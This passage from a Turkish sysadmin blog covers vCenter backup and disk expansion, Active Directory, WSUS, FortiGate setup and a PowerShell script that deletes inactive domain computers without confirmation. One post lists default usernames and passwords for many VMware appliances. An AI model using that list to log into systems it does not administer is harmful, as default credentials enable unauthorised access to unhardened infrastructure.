saklayabilirsiniz. Backup server credentials:  Yedekleme işlemini gerçekleştirmek için belirttiğiniz backup location'a erişmek için gerekli olan kullanıcı adı ve şifre bilgileri, Backup programı üzerinde belirtilmelidir. Örneğin, SMB protokolü üzerinden yedekleme işlemini gerçekleştirmek için kullanıcı adı ve şifre bilgileriniz "backupuser" ve "password123" ise, Backup programı üzerinde yedekleme ayarlarına gidin ve "backupuser" kullanıcı adını "Kullanıcı adı" bölümüne yazın. "password123" şifresini "Şifre" bölümüne yazın ve kaydedin. Encrypted backup:  Yedekleme işlemi tamamlandıktan sonra, yedeklenen verilerin güvenliği için encrypt (şifreleme) yapmak isteyebilirsiniz. Böylece, yedeklenen verilere sadece belirttiğiniz şifreyi bilen kişilerin erişebilmesi sağlanır. Encrypt işlemi yapmak için Backup programı üzerinde ilgili ayarlara girin ve şifreleme seçeneğini etkinleştirin. Ardından, bir şifre belirleyin ve kaydedin. Bu şifreyi restore etmek istediğinizde kullanmanız gerekecektir. Şifreyi unutursanız, yedeklenen verilerinize erişemeyeceksiniz. DB Health Check: Backup işlemi öncesinde, veritabanının genel performansını kontrol etmek önerilir. Bu seçenek seçilirse, backup işlemi daha uzun sürebilir çünkü veritabanı önce kontrol edilecektir. Veritabanı boyutuna göre değişebilen süreç, bazı durumlarda uzun sürebilir ancak performans kontrolü yapmadan yapılan backup işlemleri, olası hatalara neden olabilir. Bu nedenle, verilerin güvenliği için backup öncesinde performans kontrolü yapılması önerilir. Data: Backup işlemi sırasında "Stats, Events and Tasks" seçeneği isteğe bağlıdır ve bu seçeneği seçmeyebilirsiniz. Ancak bu seçeneği seçmemeniz durumunda, backup işleminiz daha kısa sürede tamamlanacaktır. Ancak, restore işlemi yapmak istediğinizde vCenter Server'ın performance stats, events ve task'ları geri yüklenmeyecektir ve geri yüklenen veri boş olacaktır. Bu nedenle, vCenter Server verilerinin tamamının restore edilebilmesi için bu seçeneğin seçili olması önerilir. Zaten varsayılan olarak bu seçenek seçili gelmektedir. Description: Aldığınız backup, verilerinizi yedeklemek amacıyla oluşturulmuştur. Birden fazla backup alıyorsanız, bu farklı senaryolara yönelik olabilir. Örneğin, farklı zamanlarda alınan backup'lar sayesinde, veri kaybı yaşandığı durumlarda geri dönüş yapabilirsiniz. Start butonuna bastığınızda backup’ınız başlayacaktır. Schedule: Bu seçenekte, 3 ek seçenek daha bulunmaktadır: Günlük, Haftalık ve Özel (Custom) seçenekleri. Bu seçenekler aracılığıyla günlük veya haftalık programlar ayarlayabilir, isterseniz özel seçenekle belirli günleri seçerek otomatik yedekleme yapabilirsiniz. İlgili video: https://www.youtube.com/watch?v=LBjj12va7ms Saygılarımla – Best Regards --- ## Root veya diğer kullanıcının şifresinin değiştirilmesi Link: https://farukguler.com/posts/ubuntu-root-or-another-user-passwd-set/ #Sudo ile root kullanıcısına geçiş yap: sudo -i #Root Şifresini Değiştirmek: sudo passwd #Başka Bir Kullanıcının Şifresini Değiştirmek: #(örneğin: admin, ali, ayse, yonetim vs.) sudo passwd mark Saygılarımla. – Best regards. --- ## VMware vCenter Server Appliance 6.7, 7.x Disk Genişletme Link: https://farukguler.com/posts/vcenter-server-appliance-6-7-7-x-disk-genisletme/ Bu yazımızda sizlere vCenter Server Appliance üzerinde nasıl disk genişletme yapıldığını anlatacağız. Öncelikle disk denişletme sürekli kullanılmamaktadır, ihtiyaç duyulduğu zamanlarda arayüzden gerekli kadar arttırılarak terminal üzerinde açılması gereklidir. Disklerimizin durumunu iki yerden kontrol edebiliriz. Putty yardımı ile consol üzerinden vCenter Server Appliance’ımıza bağlanarak df -h komutu ile görebilirsiniz Web arayüzünden https://vcenter_fqdn:5480 bağlanarak monitör disk tabından görebilirsiniz. Disk açma işlemi yapılmadan önce her ihtimale karşı Config alınması gerekir! Puty or other terminal Aplication 1: shell 2: df -h yada üstteki gibi vCenter Server Appliance üzerinden görelim. https://vcenter_fqdn:5480 Artık genişletmek istediğimiz diski seçelim ve vSphere web client yardımı ile diskin boyutunu settings tabından arttırıyoruz. Ben 50 GB kapasitesi olan archive diskini 60 GB yükseltebiliriz. 1: vpxd_servicecfg storage lvm autogrow 2: VC_CFG_RESULT=0 başarılı ise bu sonucu göreceksiniz. 3: df -h 4: exit Eğer başarılı olmazsa alttaki yeni versiyon(7.x) komutunu deneyebilirsiniz. 1: /usr/lib/applmgmt/support/scripts/autogrow.sh 2: df -h 3: exit Web arayüzünden yada CLI üzerinden df -h komutunu çalıştırdığınızda diskinizin arttığını göreceksiniz. Saygılarımla. – Best regards. --- ## GPO Remote Desktop Portunu Değişimini Engelleme Link: https://farukguler.com/posts/gpo-remote-desktop-ports-set/ Group Policy aracılığıyla, Registry'deki değerleri değiştirmek mümkündür ve aynı zamanda hiçbir kullanıcının bu değerleri değiştirmesini engellemek de mümkündür. Örneğin, güvenlik amaçları için, bütün makinelerdeki Uzak Masaüstü (Remote Desktop) bağlantı noktasının değiştirilmemesini isteyebilirsiniz. Tüm makinelerde tek tek bu ayarları yapmak yerine, Group Policy aracılığıyla bu işlemi gerçekleştirebilirsiniz. Varsayılan olarak, Uzak Masaüstü bağlantı noktası 3389 numaralı porttur. Default Domain Policy üzerinde, fare sağ tuşu ile düzenleme (edit) seçeneği seçilerek Group Policy Management Console açılır. Registry ayarlarına erişmek için, "Computer Configuration\Policies\Windows Settings\Security Settings\Registry" seçenekleri izlenir. Bu seçeneklerin altında sağ tık yapılarak "Add key" seçeneği seçilir. Ayrıca, bu ayarlara Regedit aracılığıyla da erişilebilir. Bunun için aşağıdaki yol izlenir: REG: MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp İlgili grup yada users grupları üzerindeki Full Control yetkisi kaldırılır. Saygılarımla. – Best Regards. --- ## StarWind V2V Converter Nedir ? Link: https://farukguler.com/posts/vmdk-vhdye-donusum/ VMDK'yi VHD'ye dönüştür yada tam tersine ;) StarWind V2V Converter, sanal disk dosyalarını dönüştürmek için kullanılan ücretsiz bir yazılımdır. Bu yazılım, farklı sanallaştırma platformlarında kullanılan sanal disk dosya biçimleri arasında dönüşüm yapmanızı sağlar. Örneğin, VMware sanallaştırma platformunda kullanılan VMDK (Virtual Machine Disk) dosyalarını Microsoft Hyper-V sanallaştırma platformunda kullanılan VHD (Virtual Hard Disk) dosyalarına dönüştürmenizi sağlar. StarWind V2V Converter, kullanımı kolay bir arayüze sahiptir ve dönüşüm işlemlerini hızlı bir şekilde gerçekleştirir. Ayrıca, birden çok sanal disk dosyasını aynı anda dönüştürebilme özelliği de bulunur. Bu yazılım, ücretsiz olarak kullanılabilir ve herhangi bir kayıt gerektirmez. StarWind V2V Converter, sanal disk dosyalarını farklı platformlar arasında dönüştürmek isteyen kullanıcılar için kullanışlı bir araçtır. VMDK > VHD VHD > VMDK   Download Link: StarWind V2V Converter Öncelikle Select location of image to convert ekranında dönüştüreceğimiz disk’in hangi konumda olduğunu seçeceğiz. Ben local makinemde bulunan dosya üzerinden convert işlemi yapacağım bu yüzden Local file seçeneğini seçip Next butonuna tıklayıp devam ediyorum. Select destination image format ekranında dönüştürmek istediğimiz disk biçimini belirtiyoruz. Ben VMDK disk biçimini VHD biçimine çevireceğim için VHD/VHDX seçeneğini seçip Next ile devam ediyorum. Select option for VHD/VHDX image format ekranında karşımıza dört adet seçenek çıkacaktır. VHD growable image: VHD dosya biçiminde dinamik, yani genişletilebilir disk oluşturmamızı sağlar. VHD pre-allocated image: VHD dosya biçiminde sabit, yani genişletilemez ve disk boyutunu ne kadar belirlemişsek o kadar yer kaplayan bir disk oluşturmamızı sağlar. VHDX growable image: VHDX dosya biçiminde dinamik, yani genişletilebilir disk oluşturmamızı sağlar. VHDX pre-allocated image: VHDX dosya biçiminde sabit, yani genişletilemez ve disk boyutunu ne kadar belirlemişsek o kadar yer kaplayan bir disk oluşturmamızı sağlar. Biz burada VHD formatında dinamik bir disk oluşturacağız. VHD growable image seçeneğini seçip Next butonu ile ilerleyelim. Select location of image to convert ekranında dönüştüreceğimiz disk’in hangi konumda olduğunu seçeceğiz. Ben local makinemde bulunan dosya üzerinden convert işlemi yapacağım bu yüzden Local File seçeneğini seçip Next butonuna tıklayıp devam ediyorum. Görüldüğü üzere Diskdeneme.vhd dosyam oluştruuldu. Faydalı olması dileğiyle. – Hope it’s useful. --- ## Client bilgisayarların etkilendiği GPO' lar Link: https://farukguler.com/posts/etkilendigi-gpo-incele/ CMD & Powershell: rsop.msc gpresult /H rapor.html Faydalı olması dileğiyle. – Hope it’s useful. --- ## Active Directory Nedir ? - What is Active Directory? Link: https://farukguler.com/posts/active-directory-nedir/ Active Directory (AD) Microsoft tarafından geliştirilmiş bir dizin hizmetidir. Active Directory, ağdaki kaynakları yönetmek, kullanıcı hesaplarını ve bilgisayar hesaplarını barındırmak, bu hesaplar için kimlik doğrulama ve yetkilendirme sağlamak, ağdaki kaynaklara erişim izinlerini yönetmek için kullanılır. Active Directory, ağda bulunan kaynakları merkezi bir şekilde yönetebilmemizi sağlar. Bu kaynaklar, kullanıcı hesapları, bilgisayar hesapları, yazıcılar, dosya sunucuları, veritabanları, e-posta sunucuları gibi birçok ağ kaynağıdır. Active Directory, tüm bu kaynakların merkezi bir yerden yönetilmesine olanak sağlar. Active Directory, bir dizin hizmeti olarak çalışır. Bir dizin hizmeti, ağdaki kaynakların bir hiyerarşi içinde organize edilmesine olanak sağlayan bir veritabanıdır. Active Directory'de, her bir kaynak bir nesne olarak temsil edilir ve bu nesneler birbirleriyle ilişkilendirilebilir. Active Directory, ayrıca kullanıcıların ve bilgisayarların kimlik doğrulamasını ve yetkilendirmesini de yönetir. Kullanıcılar ve bilgisayarlar, Active Directory'de bir hesap oluşturulduktan sonra, kaynaklara erişim izni verilir ve bu hesaplar üzerinden kimlik doğrulama sağlanır. Active Directory, bir Windows Domain Controller üzerinde çalışır ve genellikle bir Windows domain ortamında kullanılır. Active Directory, Windows Server işletim sistemlerinin Enterprise ve Datacenter sürümlerinde bulunur ve bu sürümler, Active Directory kurulumuna olanak sağlar. Kısacası, Active Directory, bir ağda bulunan kaynakların merkezi bir şekilde yönetilmesini sağlayan bir dizin hizmetidir. Active Directory envanterinde neler bulunur? Kullanıcı Hesapları Gruplar Bilgisayar Hesapları Organizasyon Birimleri (OU'lar) Paylaşılan Klasörler DNS (Alan Adı Sistemi) Kayıtları Grup İlkesi Nesneleri (GPO'lar) Sertifikalar ve Sertifika Yetkilileri Kullanıcı Profil Bilgileri İzinler ve Erişim Kontrolleri Günlük Kayıtları (Loglar) Replication (Çoğaltma) Topolojileri ..........vb Active Directory mantıksal yapısı nasıldır? Active Directory mantıksal olarak bir ağdaki kaynakların yönetimini sağlamak için tasarlanmış bir dizin hizmetidir. Active Directory, mantıksal olarak ağdaki nesneleri (örneğin, kullanıcılar, gruplar, bilgisayarlar, yazıcılar ve diğer ağ kaynakları) ve bu nesneler arasındaki ilişkileri hiyerarşik olarak organize eder. Active Directory, nesnelerin ve ilişkilerin özelliklerinin tanımlandığı bir veritabanıdır. Bu veritabanı, "schema" olarak adlandırılan önceden tanımlanmış bir şablonu takip eder ve yeni nesnelerin ve ilişkilerin eklenmesine izin verir. Active Directory, nesnelerin hiyerarşik bir yapıda örgütlendiği bir "domain" modeli kullanır. Her domain, tek bir kuruluşu veya işletmeyi temsil eder ve kendi güvenlik politikalarına sahip olabilir. Domain'ler bir araya gelerek bir "forest" oluşturur ve forest'lar arasında güvenlik ve kaynak paylaşımı gibi işlemler gerçekleştirilebilir. Active Directory'nin mantıksal yapısı, bir dizi önceden tanımlanmış işlevsel rolü olan FSMO (Flexible Single Master Operations) rollerini de içerir. Bu roller, Active Directory veritabanının güncel kalmasını sağlar ve domainler ve forest'lar arasında çeşitli işlevleri yönetir. Sonuç olarak, Active Directory'nin mantıksal yapısı, ağdaki kaynakların hiyerarşik olarak organize edilmesini ve yönetilmesini sağlayan bir veritabanı, domain ve forest yapısı ve FSMO rolleri gibi bir dizi işlevsel rol içerir. Active Directory fiziksel yapısı nasıldır? Active Directory fiziksel olarak bir veya birden fazla sunucuda bulunur. Bu sunucular, Active Directory veritabanını barındıran ve Active Directory hizmetlerini sağlayan Domain Controller (DC) olarak adlandırılır. DC'ler, fiziksel olarak bulundukları yer ve network segmentlerine göre organize edilirler. Bu organizasyon bir Active Directory sites yapısı oluşturur. Active Directory sites, ağ trafiğini yönetmek ve optimize etmek için kullanılır. Site'lar, DC'ler arasındaki replikasyon trafiğini ve istemci trafiğini yönetir. DC'ler arasındaki Active Directory bilgilerinin senkronizasyonu, Active Directory replikasyonu denilen bir işlemle gerçekleştirilir. Replikasyon, DC'ler arasındaki değişikliklerin dağıtımını sağlayarak, veri bütünlüğünü korur ve her DC'nin aynı verileri içermesini sağlar. Replikasyon trafikleri, Active Directory Sites and Services yönetim aracı kullanılarak kontrol edilebilir. Sonuç olarak, Active Directory fiziksel olarak sunucular üzerinde barındırılan bir veritabanıdır ve bir veya birden fazla sunucuda bulunur. Bu sunucular, DC olarak adlandırılır ve Active Directory sites yapısı ile organize edilirler. Replikasyon işlemi sayesinde DC'ler arasındaki veri bütünlüğü ve senkronizasyon sağlanır. AD DS kurulumu sonrasında hangi araçlar yüklenmektedir? Windows Server üzerinde standart bir Active Directory Domain Services (AD DS) kurulumu sırasında, yönetim araçları otomatik olarak yüklenir. Bu yönetim araçları şunları içerir: Active Directory Administrative Center (ADAC) Active Directory Domains and Trusts Active Directory Module for Windows PowerShell Active Directory Sites and Services Active Directory Users and Computers ADSI Edit DFS Management DNS Manager Group Policy Management Server Manager (with AD DS role tools) Bu araçlar, Active Directory ortamını yönetmek için kullanılır. Active Directory Kullanıcıları ve Bilgisayarları, kullanıcı hesapları, gruplar ve bilgisayar hesapları gibi nesnelerin oluşturulması ve yönetilmesine olanak tanır. Active Directory Siteleri ve Hizmetleri, Active Directory yapılandırmasını site, site bağlantıları ve alt siteler gibi kavramlarla yönetmeyi sağlar. Active Directory Etki Alanı ve Güvenlik Politikaları, etki alanı güvenlik ayarlarının yapılandırılmasını sağlar. Active Directory Yönetim Merkezi, tüm yönetim araçlarını tek bir yerde birleştirir ve genel bir yönetim arayüzü sağlar. DNS Yöneticisi, Active Directory bölgesinin DNS ayarlarını yönetmeyi sağlar. Grup İlkesi Yöneticisi, Grup İlkesi nesnelerinin oluşturulması, düzenlenmesi ve uygulanmasına olanak tanır. AD PowerShell modülleri, PowerShell komut satırı aracılığıyla Active Directory yönetimini sağlar. --- ## Vmware Dosya Uzantıları ve Anlamları Link: https://farukguler.com/posts/vmware-dosya-uzantilari/ VMware, sanallaştırma çözümleri sunan bir yazılım şirketidir. VMware ürünleri, belirli dosya uzantılarını kullanır. İşte en yaygın VMware dosya uzantıları ve anlamları: .vmx: Sanal makine yapılandırma dosyası. Bu dosya, sanal makine yapılandırmasının tüm ayarlarını ve konfigürasyon bilgilerini içerir. .vmdk: Sanal disk dosyası. Bu dosya, sanal makinenin sabit disklerindeki tüm verileri içerir. .nvram: Sanal makine BIOS ayarları dosyası. Bu dosya, sanal makinenin BIOS ayarlarını içerir. .vmsn: Sanal makine durum dosyası. Bu dosya, sanal makinenin durumunun bir anlık görüntüsünü içerir. .vswp: Sanal bellek dosyası. Bu dosya, sanal makinede kullanılan bellek miktarını tutar. .vmtx: Sanal makine şablonu dosyası. Bu dosya, bir sanal makineyi bir şablona dönüştürür ve yeni sanal makineler oluşturmak için kullanılabilir. .vhd: Virtual Hard Disk (Sanal Sabit Disk) dosyası. Bu dosya, Microsoft Virtual PC gibi sanallaştırma platformları tarafından kullanılır. .ova: Open Virtualization Appliance (Açık Sanallaştırma Cihazı) dosyası. Bu dosya, sanal makineyi bir paket olarak bir sanallaştırma platformundan diğerine taşımak için kullanılır. .ovf: Open Virtualization Format (Açık Sanallaştırma Biçimi) dosyası. Bu dosya, sanal makine yapılandırmasını taşımak ve paylaşmak için kullanılır. Bu dosya uzantıları, VMware'nin sanallaştırma çözümlerinde en sık kullanılan olanlarıdır. Ancak, diğer VMware dosya uzantıları da mevcuttur ve belirli VMware ürünlerine özgü olabilir. --- ## VMware Appliance Management NTP Link: https://farukguler.com/posts/vmware-appliance-management-ntp/ VMware Appliance Management arayüzü, NTP (Network Time Protocol) değişikliği yapmanın iki popüler yönteminden biridir. Bu yöntem, VMware sanallaştırma platformunun yönetim arayüzü üzerinden yapılabilmektedir. Aşağıdaki adımları takip ederek NTP değişikliği yapabilirsiniz: Vcenteradresi.domain.local:5480 adresine giderek giriş yapıyoruz. "Time" sekmesinde, NTP ayarlarının yanında yer alan "Time Zone" bölümünün düzenlemesi için "Edit" seçeneğine tıklamanız gerekmektedir. Karşınıza bölgesel zaman dilimlerinin listelendiği bir pencere çıkacaktır. Buradan, kullanmak istediğiniz zaman dilimini seçtikten sonra "Save" düğmesine tıklayarak değişiklikleri kaydedebilirsiniz. Time Zone’un sağında bulunan EDIT’e tıkladığımızda bölgesel olarak bir Zone belirtmemizi istiyor. Seçimi yaptıktan sonra Save diyoruz, "Time Synchronization Settings" bölümüne erişmek için, "Time" sekmesindeki "Edit" düğmesine tıkladıktan sonra, açılan penceredeki bu bölüme tıklayın. Bu bölümde, VMware sanallaştırma platformunda yer alan tüm sanal makinelerin saatlerinin senkronizasyon ayarları yapılabilmektedir. Eğer bölgesel zaman dilimini doğru bir şekilde belirlediyseniz ancak saatler hala uyumsuzsa, senkronizasyon sorunu mevcut olabilir. Bu durumda, NTP seçeneğini kullanarak NTP sunucu adreslerini girerek senkronizasyon sorununu çözebilirsiniz. NTP sunucularını girerken, her bir adresi virgülle ayırarak yazmanız gerekmektedir. Eğer senkronizasyon sorunu yoksa, "Disabled" seçeneğini işaretleyebilirsiniz. vCenter'ın bağlı olduğu Host'un halihazırda bir NTP konfigürasyonu varsa, "Host Mode" seçeneğini işaretleyerek kaydedebilirsiniz. Bu durumda, vCenter otomatik olarak Host'un NTP ayarlarına göre güncellenecektir. "Time Servers" bölümü, sanal makinenin saatini senkronize etmek için kullanılacak NTP sunucularını belirlemek için kullanılır. Burada, "Use specific NTP servers" seçeneğini işaretleyerek, hedef bir sunucu veya sunucuların IP adreslerini girerek sanal makinenin saatini bu sunuculara senkronize etmesini sağlayabilirsiniz. Örneğin, siz Domain Controller sunucularınızın IP adreslerini girerek sanal makinenizin saat konfigürasyonunu bu sunucular üzerinden almaya başlayabilirsiniz. Böylece, sanal makinenin saati, domain kontrolleriniz tarafından yönetilen saatle senkronize olacaktır. Saygılarımla. – Best regards. --- ## FORTİGATE İLK KURULUM NASIL YAPILIR ? Link: https://farukguler.com/posts/fortigate-temel-kurulum/ FortiGate, Fortinet tarafından geliştirilen bir ağ güvenlik donanımıdır. Geniş bir yelpazedeki ağ güvenliği çözümlerini tek bir platformda birleştirir ve ağ güvenliğini yönetmek için bir arayüz sağlar. FortiGate, Firewall, VPN, İçerik Filtreleme, Intrusion Prevention System (IPS), Antivirüs ve Web Filtreleme gibi çeşitli güvenlik özelliklerine sahiptir. FortiGate, küçük, orta ve büyük ölçekli işletmeler için uygun şekilde ölçeklenebilir. Ayrıca, bulut tabanlı veya sanal FortiGate seçenekleri de mevcuttur. FortiGate'in çeşitli modelleri, farklı bant genişlikleri, arayüz sayısı ve özellikleri sunar ve kullanıcılara ihtiyaçlarına uygun bir seçim yapma imkanı sağlar. FortiGate, kolay kullanımı, yüksek performansı ve ölçeklenebilirliği ile tanınır. Ayrıca, güvenlik özellikleri sürekli olarak güncellenerek yeni tehditlere karşı koruma sağlar. Cihazın fiziksel bağlantılarını yaptıktan sonra, varsayılan olarak atanan IP adresine, "https://192.168.1.99" adresinden erişebilirsiniz. Bu erişim için, kullanıcı adını "admin" olarak ve şifreyi boş bırakarak giriş yapabilirsiniz. Giriş yaptıktan sonra, WAN ayarlarına erişmek için "Interfaces -> WAN" adımlarını takip edin. Eğer internet sağlayıcınız PPoE ile giriş yapmanızı sağlıyorsa ve kullanıcı ayarlarını sizinle paylaşıyorsa, internet çıkışınızı sağlamak için modeminizin bridge mode özelliğini etkinleştirerek, önce gerekli ayarları yapmanız gerekmektedir. Yukarıda belirtildiği gibi, gerekli ayarları yaptıktan sonra internet çıkışınızı sağlayabilirsiniz. Yukarıda belirtildiği gibi değilse, size özel bir IP adresi atandıysa, aşağıdaki iki adımı takip etmeniz gerekmektedir. WAN ayarlarından "Manuel" seçeneğini seçtikten sonra, internet sağlayıcınızın size verdiği IP adresini ve subnet bilgisini, yukarıda işaretli olan alana girerek kaydedin. Internet çıkışını sağlamak için "Static Routes" eklememiz gerekiyor. Eğer Static Routes eklenmezse internet çıkışı sağlanamaz. Internet sağlayıcınızın size verdiği Gateway adresini firewall ayarlarına tanıtmanız gerekiyor. Bu adımdan sonra internet erişiminiz sağlanacaktır. "Interfaces -> LAN" ayarlarına girdikten sonra, yukarıda işaretlenen alandan, Firewall'unuzu erişim IP adresinizi ve gateway bilgisini belirleyiniz. Eğer 192.168.1.1'den farklı bir gateway belirlediyseniz, yukarıdaki işlemi yaparak gateway'inize uygun DHCP ile dağıtılacak IP aralığınızı otomatik olarak belirleyebilirsiniz. Daha detaylı anlatım için MikronBilgisayar ' FORTİGATE Temel Kurulum videosunuda izleyebilirsiniz. https://www.youtube.com/watch?time_continue=60&v=9Fi6sUtT5TE&feature=emb_title Faydalı olması dileğiyle. – Hope it’s useful. --- ## Finding and Cleaning Unused Computers in Active Directory Link: https://farukguler.com/posts/kullanilmayan-bilgisayarlari-bul/ PS: Import-Module activedirectory # Parametreler girelim. $domain = “guler.com” $DaysInactive = 180 $time = (Get-Date).Adddays(-($DaysInactive)) $date = Get-Date ($time) -UFormat %d.%m.%y $File = “c:\Inactive_Computers.csv” # Son 180 günde oturum açılmamış bilgisayarları $file yolundaki dosyaya listeler $CompList = Get-ADComputer -Filter {LastLogonTimeStamp -lt $time -and operatingSystem -notlike “*server*”} -SearchBase “DC=guler, DC=com” -Properties Name,LastLogonTimeStamp,OperatingSystem | Select-Object Name, OperatingSystem, @{Name=”Last Logon TimeStamp”; Expression={[DateTime]::FromFileTime($_.lastLogonTimestamp)}} | Export-Csv $File -encoding UTF8 -notypeinformation # Son 180 günde oturum açılmamış bilgisayarların isimlerini toplar $Computers = Get-ADComputer -Filter {LastLogonTimeStamp -lt $time -and operatingSystem -notlike “*server*”} -SearchBase “DC=guler, DC=com” -Properties Name,LastLogonTimeStamp,OperatingSystem | Select-Object -ExpandProperty Name # Toplanan bilgisayarları domainden siler. Silinenleri ve silinmeyenleri loglar ForEach ($Computer in $Computers) { Try { Remove-ADComputer -Identity $Computer -ErrorAction Stop -confirm:$false Add-Content C:\removed-computers.log -Value “$Computer silindi” } Catch { Add-Content C:\not-removed-computers.log -Value “$Computer bulunamadi $($Error[0])” } } Faydalı olması dileğiyle. – Hope it’s useful. --- ## VMware Default Username and Passwords Link: https://farukguler.com/posts/vmware-default-username-passwd/ vCenter Appliance Configuration Default Kullanıcı Adı and Şifre Kullanıcı Adı: rootŞifre: vmware vCenter Application Discovery Manager Default Kullanıcı Adı and Şifre Kullanıcı Adı: rootŞifre: 123456 vCenter Chargeback Default Kullanıcı Adı and Şifre Kullanıcı Adı: rootŞifre: vmware vCenter Infrastructure Navigator Default Kullanıcı Adı and Şifre Kullanıcı Adı: rootŞifre: Given when deploying OVA vCenter Web Client Configuration Default Kullanıcı Adı and Şifre Kullanıcı Adı: rootŞifre: vmware vCenter vSphere Web Client Access Default Kullanıcı Adı and Şifre Kullanıcı Adı: rootŞifre: vmware vCenter Single Sign On (SSO) Default Kullanıcı Adı and Şifre Windows default Kullanıcı Adı: admin@System-DomainLinux (vApp) default Kullanıcı Adı: root@System-DomainŞifre: specified during installation vCenter Orchestrator Appliance Default Kullanıcı Adı and Şifre http://orchestrator_appliance_ip Kullanıcı Adı: vmwareŞifre: vmware Orchestrator ClientDefault Kullanıcı Adı and ŞifreKullanıcı Adı: vcoadminŞifre: vcoadmin Web OperatorDefault Kullanıcı Adı and ŞifreKullanıcı Adı: vcoadminŞifre: vcoadmin WebViews: http://orchestrator_server:8280. Administrator Panel: Kullanıcı Adı: adminŞifre: admin CustomUI: https:// UI_SERVER_IP)/vcops-custom Kullanıcı Adı: adminŞifre: admin vCloud Connector Node Default Kullanıcı Adı and Şifre https://IPorDNS:5480 Kullanıcı Adı: adminŞifre: vmware vCloud Connector Server Default Kullanıcı Adı and Şifre https://IPorDNS:5480 Kullanıcı Adı: adminŞifre: vmware vCloud Director Default Kullanıcı Adı and Şifre Kullanıcı Adı: administratorŞifre: given during setup wizard vCloud Director Appliance Default Kullanıcı Adı and ŞifreKullanıcı Adı: rootŞifre: Default0 OracleXEDatabaseKullanıcı Adı: vcloudŞifre: VCloud VMware Site Recovery Manager Default Kullanıcı Adı and ŞifreKullanıcı Adı: (this is your vcenter admin Kullanıcı Adı)Şifre: (this is your vcenter admin Şifre) vShield Manager Default Kullanıcı Adı and ŞifreKullanıcı Adı: adminŞifre: default vCenter Mobile Access (vCMA) Default Kullanıcı Adı and ŞifreKullanıcı Adı:rootŞifre: vmware Saygılarımla. – Best regards. --- ## Domaine Alma Limitinin Arttırılması Link: https://farukguler.com/posts/max-computer-creating/ Domain ortamında varsayılan olarak standart bir kullanıcının en fazla 10 bilgisayarı domaine dahil edebilmesi mümkündür. Ancak bu sayı yetersiz kalabilir ve kullanıcıların ihtiyaçlarına göre arttırılması gerekebilir. Bu durumda ADSIEdit konsolu kullanılarak yapılan bir değişiklikle "ms-DS-MachineAccountQuota" değeri arttırılabilir. Bu değer varsayılan olarak 10 olarak belirlenmiştir ancak ihtiyaçlar doğrultusunda arttırılabilir. Yapılacak olan işlem, Default naming context altında yer alan DC=guler.com yazan bölümün üzerinde sağ tıklayarak Properties seçeneğine tıklamak ve burada "ms-DS-MachineAccountQuota" değerini düzenlemektir. Bu ayarlama tüm domain kullanıcıları için geçerlidir. Eğer bunu Group Policy yaparak sadece belli bir gruba ve kişilere (işletmen yada Personel) atamak istersek ms-DS-MachineAccountQuota değerini 0 yada 1 yaparak standart kullanıcıların domaine katma yetkisini kısıtlayabiliriz. Group Policy Manager üzerinde Default Domain Policy’ i açalım. Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies içerisinde User Rights Assigment kısmını açınız. Sağ tarafta “Add Workstations to domain” kısmını açarak yetkili grubu veya kişileri ekleyelim.. Yararlı Olması dileğiyle. - Hope it's useful. --- ## Transfer of WSUS updates to Private Networks Link: https://farukguler.com/posts/kapali-networklerde-wsus/ Örnek topolojimizde İnternet erişimi olan Networkten, "erişim olmayan kapalı" ağa yapılan aktarım anlatılmaktadır. İnternet erişimli ağdan indirilen güncellemeler wsus.guler.com sunucusunda D:\Wsus\WsusContent dizininde kendi hiyerarşisine göre klasörler oluşturmaktadır. Oluşturulan bu klasörler Export işleminden sonra kapalı networkümüze taşımamız gerekmekte. İnternet erişimli sunucumuzda (wsus.guler.com) D:\Wsus altında Export adında bir klasör oluşturalım ardından komut satırını açalım ve komutumuz çalıştıralım. D:\Wsus\Export\WsusUtil.exe export WsusExport.xml.gz WsusWxport.log  (Komut satırını açarken mutlaka  “Run as administrator” ile açmamız gerekir. Komut satırında Export işlemi başarılı bir şekilde bittikten sonra Şekildeki gibi successfully görmemiz gerekmektedir. (Export işlemi indirilen güncellemenin boyutuna göre birkaç saat sürebilir.) Export işlemi bittikten sonra, Export klasörü ve WsusContent Klasörlerini Kapalı ağda bulunan guler.local sunucusuna kopyalamalıyız. “WsusContent” klasörü kopyalarken klasörün içeriğini guler.local sunucusundaki gibi  WsusContent  klasörünün içerisine yapıştırınız. Klasör olarak üzerine yaz işlemi yapmayınız!! Kopyalama işlemi bitikten sonra Kapalı Networkteki Guler.local sunucusunda cmd “Run as administrator” olarak açılır ve komut çalıştırılarak import işlemi yapılır. E:\Wsus\import>WsusuUtil.exe import WsusExport.xml.gz WsusExport.log Komut satırında İmport işlemi başarılı bir şekilde bittikten sonra Şekildeki gibi successfully  görmemiz gerekmektedir. (İmport işlemi indirilen güncellemenin boyutuna göre birkaç saat sürebilir.) Başarılı.. - Import Succesfully... İmport işlemi bittikten sonra Kapalı ağ guler.local domainindeki SCCM sunucusu açılır ve şekildeki gibi Synchronize işlemi yapılır. Son olarak ise güncellemeler kontrol edilmelidir. Saygılarımla. – Best regards. --- ## Active Directory Recycle Bin Activated Link: https://farukguler.com/posts/activated-directory-recycle-bin/ Active Directory' de Nesne silindiğinde geri dönüşüm için default süre 180 gün(6 aydır) bu şekilde 180 gün sonunda Garbage Collection(çöp toplama işlemi) sayesinde objeler otomatik olarak silinir. *Windows Server 2000 ve Windows Server 2003 = 60 Gün *Windows Server 2003 Sp1 ve sonrası = 180 Gün 180 günlük süre tombstoneLifetime attribute değeri değiştirilebilir. "tombstoneLifetime" özelliği,  silinen bir nesnenin Active Directory'den kalıcı olarak kaldırılmasından önceki gün sayısını tanımlar. "msDS-DeletedObjectLifetime" ise varsayılan olarak değeri, tombstoneLifetime özniteliğini(attribute) değeri ile aynıdır. (180 gün) 1:ADSI Edit Konsoluna erişin. 2: “Configuration” bölümüne bağlanın. 3: “CN=Configuration,DC=www,DC=domain,DC=com” → “CN=”Services”e gidin ve “CN=Windows NT”yi genişletin. 4: “CN=Directory Service” üzerine sağ tıklayın ve içerik menüsünden “Properties” seçeneğine tıklayın. 5: "Özellikler" iletişim kutusunda "msDS-deletedObjectLifetime" özelliğini arayın. Gün cinsinden varsayılan yaşam döngüsünü gösterir. bu kısımdan değiştirin Active Directory Recycle Bin özelliğini aktif edilmesi durumunda tekrar Disable (Pasif) edilemez!!! If the Active Directory Recycle Bin feature is activated, it cannot be (Disabled) again. Silinen OU' lar içinde Recycle Bin özelliğini sorunsuz olarak çalışmaktadır. Recycle Bin özelliğini 